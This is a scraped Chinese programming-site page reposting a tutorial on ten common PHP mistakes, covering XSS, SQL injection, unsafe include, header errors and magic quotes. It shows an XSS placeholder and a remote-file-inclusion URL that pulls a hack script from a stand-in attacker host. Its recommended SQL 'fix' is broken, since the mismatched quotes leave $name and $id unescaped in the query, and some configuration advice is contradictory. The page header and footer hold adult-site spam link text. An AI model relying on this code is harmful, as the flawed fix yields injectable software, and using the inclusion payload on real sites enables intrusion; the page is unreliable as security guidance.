激情久久久_欧美视频区_成人av免费_不卡视频一二三区_欧美精品在欧美一区二区少妇_欧美一区二区三区的

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - PHP程序員編程注意事項

PHP程序員編程注意事項

2019-10-28 13:24php教程網 PHP教程

PHP程序員最易犯10種錯誤所以下面的好多都是我們需要注意的地方PHP是個偉大的web開發語言,靈活的語言,但是看到php程序員周而復始的犯的一些錯誤。我做了下面這個列表,列出了PHP程序員經常犯的10中錯誤,大多數和安全相關。

1.不轉意html entities 
  一個基本的常識:所有不可信任的輸入(特別是用戶從form中提交的數據) ,輸出之前都要轉意。 echo $_GET['usename'] ; 
這個例子有可能輸出: 
<script>/*更改admin密碼的腳本或設置cookie的腳本*/</script> 
這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。 
如何修復 : 
我們需要將"< ",">","and" 等轉換成正確的HTML表示(< , >', and "),函數htmlspecialchars 和 htmlentities()正是干這個活的。 
正確的方法: 

復制代碼代碼如下:


echo htmlspecialchars($_GET['username'], ENT_QUOTES); 



2. 不轉意SQL輸入 
我曾經在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題并給出了一個簡單的方法 。有人對我說,他們已經在php.ini中將magic_quotes設置為On,所以不必擔心這個問題,但是不是所有的輸入都是從$_GET, $_POST或 $_COOKIE中的得到的! 
如何修復: 

和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用mysql_real_escape_string()函數 正確做法: 

復制代碼代碼如下:


<?php  
$sql = "Update users SET  
name='.mysql_real_escape_string($name).'  
Where id='.mysql_real_escape_string ($id).'";  
mysql_query($sql);  
?> 



3.錯誤的使用HTTP-header 相關的函數: header(), session_start(), setcookie() 
遇到過這個警告嗎?"warning: Cannot add header information - headers already sent [....] 

每次從服務器下載一個網頁的時候,服務器的輸出都分成兩個部分:頭部和正文。 
頭部包含了一些非可視的數據,例如cookie。頭部總是先到達。正文部分包括可視的html,圖片等數據。 
如果output_buffering設置為Off,所有的HTTP-header相關的函數必須在有輸出之前調用。問題在于你在一個環境中開發,而在部署到另一個環境中去的時候,output_buffering的設置可能不一樣。結果轉向停止了,cookie和session都沒有正確的設置........。 

如何修復: 
確保在輸出之前調用http-header相關的函數,并且令output_buffering = Off 
。 

4. Require 或 include 的文件使用不安全的數據 
再次強調:不要相信不是你自己顯式聲明的數據。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。 

例如: 
index.php 

復制代碼代碼如下:


<?  
//including header, config, database connection, etc  
include($_GET['filename']);  
//including footer  
?> 



現在任一個黑客現在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt 
來獲取你的機密信息,或執行一個PHP腳本。  
如果allow_url_fopen=On,你更是死定了: 
試試這個輸入: 
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php 
現在你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 黑客可以發送垃圾郵件,改變密碼,刪除文件等等。只要你能想得到。 
如何修復: 
你必須自己控制哪些文件可以包含在的include或require指令中。 

下面是一個快速但不全面的解決方法: 

復制代碼代碼如下:


<?  
//Include only files that are allowed.  
$allowedFiles = array('file1.txt','file2.txt','file3.txt');  
if(in_array((string)$_GET['filename'],$allowedFiles)) {  
include($_GET['filename']);  
}  
else{  
exit('not allowed');  
}  
?> 




5. 語法錯誤 
語法錯誤包括所有的詞法和語法錯誤,太常見了,以至于我不得不在這里列出。解決辦法就是認真學習PHP的語法,仔細一點不要漏掉一個括號,大括號,分號,引號。還有就是換個好的編輯器,就不要用記事本了! 

6.很少使用或不用面向對象 
很多的項目都沒有使用PHP的面向對象技術,結果就是代碼的維護變得非常耗時耗力。PHP支持的面向對象技術越來越多,越來越好,我們沒有理由不使用面向對象。 

7. 不使用framework 
95% 的PHP項目都在做同樣的四件事: Create, edit, list 和delete. 現在有很多MVC的框架來幫我們完成這四件事,我們為何不使用他們呢? 

8. 不知道PHP中已經有的功能 
PHP的核心包含很多功能。很多程序員重復的發明輪子。浪費了大量時間。編碼之前搜索一下PHP mamual,在google上檢索一下,也許會有新的發現!PHP中的exec()是一個強大的函數,可以執行cmd shell,并把執行結果的最后一行以字符串的形式返回。考慮到安全可以使用EscapeShellCmd()  

9.使用舊版本的PHP 

很多程序員還在使用PHP4,在PHP4上開發不能充分發揮PHP的潛能,還存在一些安全的隱患。轉到PHP5上來吧,并不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。根據http://www.nexen.net的調查 只有12%的PHP服務器使用PHP5,所以有88%的PHP開發者還在使用PHP4. 

10.對引號做兩次轉意 

見過網頁中出現\'或\'"嗎?這通常是因為在開發者的環境中magic_quotes 設置為off,而在部署的服務器上magic_quotes =on. PHP會在 GET, POST 和 COOKIE中的數據上重復運行addslashes() 。 
原始文本: 
It's a string 

magic quotes on : 
It\'s a string 
又運行一次 
addslashes(): 
It\\'s a string 

HTML輸出: 
It\'s a string 

還有一種情況就是,用戶一開始輸入了錯誤的登錄信息,服務器檢測到錯誤輸入后,輸出同樣的form要求用戶再次輸入,導致用戶的輸入轉意兩次!

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 九九综合九九 | 亚洲乱妇19p | 黄片一级毛片 | 在线播放亚洲精品 | 天堂福利电影 | 亚洲欧美日韩精品久久亚洲区色播 | 久久久久成人精品亚洲国产 | 99热草 | 一区国产在线观看 | 久久综合伊人 | 中文字幕在线永久 | 黄色网络免费看 | 色综合久久久久久久久久久 | 黄污网站在线观看 | 久久99国产精品久久99 | www日韩大片 | 黄色成人小视频 | 欧产日产国产精品v | 日韩视频在线观看免费 | 狠狠久久伊人中文字幕 | 看免费的毛片 | 中文字幕亚洲一区二区三区 | 中文字幕网站在线 | 久久久久久久久久美女 | 日韩精品久久一区二区三区 | 青草久久久久 | 午夜视频免费播放 | 亚洲性综合网 | 依人九九宗合九九九 | 亚洲一区二区观看播放 | 日韩精品dvd| av免费在线网 | 一区二区三区日韩精品 | 成年片在线观看 | 国产韩国精品一区二区三区久久 | 日本一级黄色毛片 | 久久免费视频7 | 成人在线网站 | 91成人在线免费视频 | 一级黄色片武则天 | 亚洲成人播放 |